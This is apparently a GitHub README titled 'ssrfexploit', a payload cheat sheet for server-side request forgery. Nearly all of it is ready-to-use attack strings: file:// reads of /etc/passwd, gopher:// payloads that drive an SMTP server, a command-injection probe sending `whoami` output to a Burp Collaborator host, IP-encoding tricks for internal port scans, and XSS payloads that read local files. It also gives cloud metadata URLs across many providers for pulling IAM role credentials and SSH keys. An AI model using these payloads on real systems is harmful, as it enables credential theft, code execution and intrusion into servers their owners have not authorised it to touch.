akincibor/ssrfexploit

Extract metadata with SSRF (Server-Side Request Forgery)

Extract metadata, XSS, XSPA, RCE & LFI with SSRF (Server-Side Request Forgery)

LFI (Local File Inclusion)

• file:///etc/passwd
• file:///c:/windows/win.ini

Other protocol

• dict://<server>:11111/
• sftp://<server>:11111/
• tftp://<server>:12346/TESTUDPPACKET
• ftp://<server>:12346/TESTUDPPACKET
• ldap://localhost:11211/%0astats%0aquit
• gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
• gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
• gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

Will make a request like :

HELO localhost
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
From: [Hacker] <[email protected]>
To: <[email protected]>
Date: Tue, 15 Sep 2017 17:20:26 -0400

Subject: Ah Ah Ah

You didn't say the magic word !


.
QUIT

RCE (Remote Code Execution)

• http://yourserver.burpcollaborator.net?`whoami`

XSPA (Cross Site Port Attack, Internal Port Scan)

• http://localhost:<port>
• http://127.0.0.1:<port>
• http://192.168.0.1:<port>
• http://0177.0.0.1:<port>
• http://2130706433:<port>
• http://3232235521:<port>
• http://3232235777:<port>

XSS (Cross-Site Scripting)

• http://<yourxsshunter>.xss.ht

Host a file with these payloads & request it:

• <img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
• <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
• <script>document.write('<iframe src=file:///etc/passwd></iframe>');</scrip>
• <img src onerror=document.write(navigator.appVersion)>
• <img src onerror=document.write(navigator.appName)>
• <img src onerror=document.write(navigator.platform)>
• <img src onerror=document.write(navigator.userAgent)>
• <img src onerror=document.write(navigator.plugins)>
• <img src onerror=document.write(navigator.mimeTypes)>

Cloud metadata

AWS

From http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

• http://169.254.169.254/latest/user-data/iam/security-credentials/ > return the ROLE-NAME, extract & reuse it on the next request
• http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE-NAME]
• http://169.254.169.254/latest/meta-data/iam/security-credentials/ > return the ROLE-NAME, extract & reuse it on the next request
• http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
• http://169.254.169.254/latest/meta-data
• http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
• http://169.254.169.254/latest/meta-data/ami-id
• http://169.254.169.254/latest/meta-data/reservation-id
• http://169.254.169.254/latest/meta-data/hostname
• http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
• http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
• http://169.254.170.2/v2/credentials/[UID]

ECS Task

From https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html

• http://169.254.170.2/v2/credentials/

Other notations

• http://2852039166/latest/user-data
• http://169.254.43518/latest/user-data
• http://169.16689662/latest/user-data
• http://0xa9fea9fe/latest/user-data

Shortners

• https://bit.ly/3pLoO2s
• https://bit.ly/3EnV0gh

IPv6

• http://[::ffff:169.254.169.254]
• http://[0:0:0:0:0:ffff:169.254.169.254]

AWS - Dirs

• http://169.254.169.254/
• http://169.254.169.254/latest/meta-data/
• http://169.254.169.254/latest/meta-data/public-keys/

IMDSv2

If you can make PUT request :

PUT request to http://169.254.169.254/latest/api/token with the custom header x-aws-ec2-metadata-token-ttl-seconds with the value of the number of seconds for which the token needs to be active. Put the extracted token to the header x-aws-ec2-metadata-token and try the requests above.

Google Cloud

From https://cloud.google.com/compute/docs/metadata

Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

• http://169.254.169.254/computeMetadata/v1/
• http://metadata.google.internal/computeMetadata/v1/
• http://metadata/computeMetadata/v1/
• http://metadata.google.internal/computeMetadata/v1/instance/hostname
• http://metadata.google.internal/computeMetadata/v1/instance/id
• http://metadata.google.internal/computeMetadata/v1/project/project-id
• http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env

Google allows recursive pulls

• http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

Beta does NOT require a header atm

• http://metadata.google.internal/computeMetadata/v1beta1/
• http://metadata/computeMetadata/v1beta2/instance/attributes/dataproc-role?alt=json
• http://metadata/computeMetadata/v1beta2/project/attributes/ssh-keys?alt=json

Returns root password for Google

• http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

Digital Ocean

From https://developers.digitalocean.com/documentation/metadata/

• http://169.254.169.254/metadata/v1.json
• http://169.254.169.254/metadata/v1/
• http://169.254.169.254/metadata/v1/id
• http://169.254.169.254/metadata/v1/user-data
• http://169.254.169.254/metadata/v1/hostname
• http://169.254.169.254/metadata/v1/region
• http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

Packetcloud

https://metadata.packet.net/userdata

Azure

From https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service

From https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service

Requires the header "Metadata: true"

• http://169.254.169.254/metadata/v1/maintenance
• http://169.254.169.254/metadata/instance?api-version=2017-04-02
• http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

OpenStack/RackSpace

From https://docs.openstack.org/nova/latest/user/metadata-service.html

• http://169.254.169.254/openstack
• http://169.254.169.254/openstack/2012-08-10/meta_data.json
• http://169.254.169.254/openstack/2018-08-27/network_data.json

HP Helion

• http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

From https://docs.oracle.com/en/cloud/iaas/compute-iaas-cloud/stcsg/retrieving-instance-metadata.html

From https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm

• http://169.254.169.254/opc/v1/instance/
• http://192.0.0.192/latest/
• http://192.0.0.192/latest/user-data/
• http://192.0.0.192/latest/meta-data/
• http://192.0.0.192/latest/attributes/

Alibaba

From https://www.alibabacloud.com/help/faq-detail/49122.htm

• http://100.100.100.200/latest/meta-data/
• http://100.100.100.200/latest/meta-data/instance-id
• http://100.100.100.200/latest/meta-data/image-id

Tencent Cloud

From https://intl.cloud.tencent.com/document/product/213/4934

• http://100.88.222.5
• http://metadata.tencentyun.com/
• http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials > return the ROLE-NAME, extract & reuse it on the next request
• http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/[ROLE-NAME]
• http://metadata.tencentyun.com/latest/meta-data/
• http://metadata.tencentyun.com/latest/meta-data/instance-id
• http://metadata.tencentyun.com/latest/meta-data/uuid

Kubernetes

From https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service

• https://kubernetes.default.svc.cluster.local
• https://kubernetes.default
• https://kubernetes.default.svc/metrics